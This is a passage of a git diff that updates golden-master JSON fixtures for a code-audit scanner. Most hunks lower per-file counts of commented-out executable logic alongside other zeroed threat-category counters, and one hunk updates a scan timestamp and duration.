-722325,7 +722325,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722523,7 +722523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722736,7 +722736,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -722906,7 +722906,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723086,7 +723086,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723304,7 +723304,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723472,7 +723472,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723640,7 +723640,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723808,7 +723808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -723976,7 +723976,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724154,7 +724154,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -724922,7 +724922,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725300,7 +725300,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -725718,7 +725718,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -726808,7 +726808,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764041,7 +764041,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764501,7 +764501,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -764939,7 +764939,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, diff --git a/tests/golden_master_zero_dep_audit.json b/tests/golden_master_zero_dep_audit.json index 61b93485e..8fad6df23 100644 --- a/tests/golden_master_zero_dep_audit.json +++ b/tests/golden_master_zero_dep_audit.json @@ -12,8 +12,8 @@ }, "Target Root Name": "data", "Absolute Project Path": "/srv/storage_16tb/projects/gitgalaxy/language-crucible/data", - "Analysis ISO Timestamp": "2026-08-31T00:41:28.216794+00:00", - "Total Scan Duration": "18.5 seconds" + "Analysis ISO Timestamp": "2026-08-31T01:42:56.475533+00:00", + "Total Scan Duration": "18.58 seconds" }, "Source Control Footprint (Immutable Anchor)": { "Active Branch": "HEAD", @@ -6069,7 +6069,7 @@ "Network & I/O Exfiltration Vectors": 136, "Prototype Pollution & Global State Flux": 25, "Obfuscation & Encoding Signatures": 1488, - "Commented-out Executable Logic (Shadow Logic)": 635, + "Commented-out Executable Logic (Shadow Logic)": 544, "Low-Level Cryptographic & Bitwise Operations": 0, "Steganographic Payload Imports": 4, "Unicode Homoglyphs & Typosquatting": 11, @@ -435510,7 +435510,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -435848,7 +435848,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436208,7 +436208,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436449,7 +436449,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436627,7 +436627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437817,7 +437817,7 @@ "External Network & I/O Hooks": 2, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 10, + "Commented-Out Executable Logic": 9, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437997,7 +437997,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438257,7 +438257,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438425,7 +438425,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438593,7 +438593,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438761,7 +438761,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438969,7 +438969,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439321,7 +439321,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439523,7 +439523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439691,7 +439691,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439879,7 +439879,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440210,7 +440210,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440500,7 +440500,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440678,7 +440678,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440856,7 +440856,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441024,7 +441024,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441192,7 +441192,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441362,7 +441362,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -547308,7 +547308,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -548594,7 +548594,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549258,7 +549258,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549866,7 +549866,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -550212,7 +550212,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551022,7 +551022,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551383,7 +551383,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 6, + "Commented-Out Executable Logic": 5, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552315,7 +552315,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552753,7 +552753,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 8, + "Commented-Out Executable Logic": 7, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554404,7 +554404,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554572,7 +554572,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -576679,7 +576679,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -580777,7 +580777,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581693,7 +581693,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581971,7 +581971,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 7, + "Commented-Out Executable Logic": 6, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582191,7 +582191,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582369,7 +582369,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582567,7 +582567,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582995,7 +582995,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -583173,7 +583173,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -662885,7 +662885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -668215,7 +668215,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685378,7 +685378,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685556,7 +685556,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685902,7 +685902,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -686090,7 +686090,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687190,7 +687190,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687704,7 +687704,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -688070,7 +688070,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717509,7 +717509,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717687,7 +717687,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717885,7 +717885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718055,7 +718055,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718253,7 +718253,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718441,7 +718441,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718619,7 +718619,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718787,7 +718787,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718985,7 +718985,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719153,7 +719153,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719341,7 +719341,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719539,7 +719539,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719707,7 +719707,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 